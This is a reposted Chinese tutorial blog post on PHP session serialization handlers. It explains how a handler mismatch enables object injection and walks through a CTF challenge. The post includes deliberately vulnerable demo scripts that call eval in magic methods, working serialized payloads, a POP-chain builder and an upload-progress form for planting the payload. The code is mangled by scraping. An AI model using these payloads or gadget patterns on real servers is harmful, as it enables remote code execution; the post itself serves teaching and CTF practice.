PHP 中 SESSION 反序列化机制_PHP_编程开发_程序员俱乐部

中国优秀的程序员网站程序员频道CXYCLUB技术地图
热搜:
更多>>
 
您所在的位置: 程序员俱乐部 > 编程开发 > PHP > PHP 中 SESSION 反序列化机制

PHP 中 SESSION 反序列化机制

 2017/12/5 11:15:25  yangjiyue  程序员俱乐部  我要评论(0)
  • 摘要:简介在做美女图片站的的会员中心时,经常用到php的session,顺带做了下小研究在php.ini中存在三项配置项:PHP1234session.save_path=""--设置session的存储路径session.save_handler=""--设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)session.auto_startboolen--指定会话模块是否在请求开始时启动一个会话,默认为0不启动session
  • 标签:PHP 序列化

简介



在做美女图片站的的会员中心时,经常用到php的session,顺带做了下小研究

?

?

在php.ini中存在三项配置项:

? ? ? ? ? ? class="crayon-language" style="margin: 0px; padding: 0px 8px 0px 4px !important; font-weight: inherit !important; border: 0px; font-size: 12px; font-family: inherit; float: left; height: inherit; line-height: inherit !important; color: #666666 !important;">PHP ? 1 2 3 4 session.save_path=""?? --设置session的存储路径 session.save_handler=""--设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式) session.auto_start?? boolen--指定会话模块是否在请求开始时启动一个会话,默认为0不启动 session.serialize_handler?? string--定义用来序列化/反序列化的处理器名字。默认使用php

以上的选项就是与PHP中的Session存储和序列话存储有关的选项。
在使用xampp组件安装中,上述的配置项的设置如下:

?

? ? 1 2 3 4 session.save_path="D:\xampp\tmp"表明所有的session文件都是存储在xampp/tmpsession.save_handler=files ?? 表明session是以文件的方式来进行存储的 session.auto_start=0表明默认不启动session session.serialize_handler=php ?? 表明session的默认序列话引擎使用的是php序列话引擎

在上述的配置中,monospace; font-size: 13.5px; padding: 0px; color: #c7254e; white-space: nowrap; background-color: #f9f2f4; border-radius: 4px; border: 0px; margin: 0px;">session.serialize_handler是用来设置session的序列话引擎的,除了默认的PHP引擎之外,还存在其他引擎,不同的引擎所对应的session的存储方式不相同。

  • php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
  • php:存储方式是,键名+竖线+经过serialize()函数序列处理的值
  • php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值

在PHP中默认使用的是PHP引擎,如果要修改为其他的引擎,只需要添加代码ini_set('session.serialize_handler', '需要设置的引擎');。示例代码如下:

? ? 1 2 3 4 <?php ini_set('session.serialize_handler','php_serialize'); session_start(); // do something

?

存储机制

php中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。
存储的文件是以sess_sessionid来进行命名的,文件的内容就是session值的序列话之后的内容。
假设我们的环境是xampp,那么默认配置如上所述。
在默认配置情况下:

? ? 1 2 3 4 5 <?php session_start() $_SESSION['name']='spoock'; var_dump(); ?>

?

最后的session的存储和显示如下:

可以看到PHPSESSID的值是jo86ud4jfvu81mbg28sl2s56c2,而在xampp/tmp下存储的文件名sess_jo86ud4jfvu81mbg28sl2s56c2,文件的内容是name|s:6:"spoock";。name是键值,s:6:"spoock";serialize("spoock")的结果。

在php_serialize引擎下:

?

? ? 1 2 3 4 5 6 <?php ini_set('session.serialize_handler','php_serialize'); session_start(); $_SESSION['name']='spoock'; var_dump(); ?>

SESSION文件的内容是a:1:{s:4:"name";s:6:"spoock";}a:1是使用php_serialize进行序列话都会加上。同时使用php_serialize会将session中的key和value都会进行序列化。

在php_binary引擎下:

?

? ? 1 2 3 4 5 6 <?php ini_set('session.serialize_handler','php_binary'); session_start(); $_SESSION['name']='spoock'; var_dump(); ?>

SESSION文件的内容是names:6:"spoock";。由于name的长度是4,4在ASCII表中对应的就是EOT。根据php_binary的存储规则,最后就是names:6:"spoock";。(突然发现ASCII的值为4的字符无法在网页上面显示,这个大家自行去查ASCII表吧)

序列化简单利用

test.php

?

? ? 1 2 3 4 5 6 7 8 9 10 11 12 <?php classsyclover{ ????????var$func=""; ????????function__construct(){ ????????????$this->func="phpinfo()"; ????????} ????????function__wakeup(){ ????????????eval($this->func); ????????} } unserialize($_GET['a']); ?>

在11行对传入的参数进行了序列化。我们可以通过传入一个特定的字符串,反序列化为syclover的一个示例,那么就可以执行eval()方法。我们访问localhost/test.php?a=O:8:"syclover":1:{s:4:"func";s:14:"echo "spoock";";}。那么反序列化得到的内容是:

?

? ? 1 2 object(syclover)[1] ??public'func'=>string'echo "spoock";'(length=14)

最后页面输出的就是spoock,说明最后执行了我们定义的echo "spoock";方法。
这就是一个简单的序列化的漏洞的演示

PHP Session中的序列化危害

PHP中的Session的实现是没有的问题,危害主要是由于程序员的Session使用不当而引起的。
如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确第反序列化。通过精心构造的数据包,就可以绕过程序的验证或者是执行一些系统的方法。例如:

?

? ? 1 $_SESSION['ryat']='|O:11:"PeopleClass":0:{}';

上述的$_SESSION的数据使用php_serialize,那么最后的存储的内容就是a:1:{s:6:"spoock";s:24:"|O:11:"PeopleClass":0:{}";}
但是我们在进行读取的时候,选择的是php,那么最后读取的内容是:

?

? ? 1 2 3 4 array(size=1) ??'a:1:{s:6:"spoock";s:24:"'=> ????object(__PHP_Incomplete_Class)[1] ??????public'__PHP_Incomplete_Class_Name'=>string'PeopleClass'(length=11)

这是因为当使用php引擎的时候,php引擎会以|作为作为key和value的分隔符,那么就会将a:1:{s:6:"spoock";s:24:"作为SESSION的key,将O:11:"PeopleClass":0:{}作为value,然后进行反序列化,最后就会得到PeopleClas这个类。
这种由于序列话化和反序列化所使用的不一样的引擎就是造成PHP Session序列话漏洞的原因。

实际利用

存在s1.php和us2.php,2个文件所使用的SESSION的引擎不一样,就形成了一个漏洞、
s1.php,使用php_serialize来处理session

?

? ? 1 2 3 4 <?php ini_set('session.serialize_handler','php_serialize'); session_start(); $_SESSION["spoock"]=$_GET["a"];

us2.php,使用php来处理session

?

? ? 1 2 3 4 5 6 7 8 9 10 11 12 ini_set('session.serialize_handler','php'); session_start(); classlemon{ ????var$hi; ????function__construct(){ ????????$this->hi='phpinfo();'; ????} ???? ????function__destruct(){ ????????eval($this->hi); ????} }

当访问s1.php时,提交如下的数据:

?

? ? 1 localhost/s1.php?a=|O:5:"lemon":1:{s:2:"hi";s:14:"echo "spoock";";}

此时传入的数据会按照php_serialize来进行序列化。
此时访问us2.php时,页面输出,spoock成功执行了我们构造的函数。因为在访问us2.php时,程序会按照php来反序列化SESSION中的数据,此时就会反序列化伪造的数据,就会实例化lemon对象,最后就会执行析构函数中的eval()方法。

CTF

在安恒杯中的一道题目就考察了这个知识点。题目中的关键代码如下:
class.php

? ? 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 <?php ? highlight_string(file_get_contents(basename($_SERVER['PHP_SELF']))); //show_source(__FILE__); ? classfoo1{ ????????public$varr; ????????function__construct(){ ????????????????$this->varr="index.php"; ????????} ????????function__destruct(){ ????????????????if(file_exists($this->varr)){ ????????????????????????echo"<br>文件".$this->varr."存在<br>"; ????????????????} ????????????????echo"<br>这是foo1的析构函数<br>"; ????????} } ? classfoo2{ ????????public$varr; ????????public$obj; ????????function__construct(){ ????????????????$this->varr='1234567890'; ????????????????$this->obj=null; ????????} ????????function__toString(){ ????????????????$this->obj->execute(); ????????????????return$this->varr; ????????} ????????function__desctuct(){ ????????????????echo"<br>这是foo2的析构函数<br>"; ????????} } ? classfoo3{ ????????public$varr; ????????functionexecute(){ ????????????????eval($this->varr); ????????} ????????function__desctuct(){ ????????????????echo"<br>这是foo3的析构函数<br>"; ????????} } ? ?>

index.php

?

? ? 1 2 3 4 5 6 7 8 9 10 11 12 13 <?php ? ini_set('session.serialize_handler','php'); ? require("./class.php"); ? session_start(); ? $obj=newfoo1(); ? $obj->varr="phpinfo.php"; ? ?>

通过代码发现,我们最终是要通过foo3中的execute来执行我们自定义的函数。
那么我们首先在本地搭建环境,构造我们需要执行的自定义的函数。如下:
myindex.php

? ? 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php classfoo3{ ????????public$varr='echo "spoock";'; ????????functionexecute(){ ????????????????eval($this->varr); ????????} } classfoo2{ ????????public$varr; ????????public$obj; ????????function__construct(){ ????????????????$this->varr='1234567890'; ????????????????$this->obj=newfoo3(); ????????} ????????function__toString(){ ????????????????$this->obj->execute(); ????????????????return$this->varr; ????????} } ? classfoo1{ ????????public$varr; ????????function__construct(){ ????????????????$this->varr=newfoo2(); ????????} } ? ? $obj=newfoo1(); print_r(serialize($obj)); ?>

在foo1中的构造函数中定义$varr的值为foo2的实例,在foo2中定义$obj为foo3的实例,在foo3中定义$varr的值为echo "spoock"。最终得到的序列话的值是

?

? ? 1 O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:14:"echo "spoock";";}}}

这样当上面的序列话的值写入到服务器端,然后再访问服务器的index.php,最终就会执行我们预先定义的echo "spoock";的方法了。
写入的方式主要是利用PHP中Session Upload Progress来进行设置,具体为,在上传文件时,如果POST一个名为PHP_SESSION_UPLOAD_PROGRESS的变量,就可以将filename的值赋值到session中,上传的页面的写法如下:

?

? ? 1 2 3 4 5 <formaction="index.php"method="POST"enctype="multipart/form-data"> ????<inputtype="hidden"name="PHP_SESSION_UPLOAD_PROGRESS"value="123"/> ????<inputtype="file"name="file"/> ????<inputtype="submit"/> </form>

最后就会将文件名写入到session中,具体的实现细节可以参考PHP手册。
那么最终写入的文件名是|O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:1:"1";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:12:"var_dump(1);";}}}。注意与本地反序列化不一样的地方是要在最前方加上|
但是我在进行本地测试的时候,发现无法实现安恒这道题目所实现的效果,但是最终的原理是一样的。

总结

通过对PHP中的SESSION的分析,对PHP中的SESSION的实现原理有了更加深刻的认识。这个PHP的SESSION问题也是一个很好的问题。上述的这篇文章不仅使大家PHP中的SESSION的序列化漏洞有一个认识,也有助于程序员加强在PHP中的SESSION机制的理解

发表评论
用户名: 匿名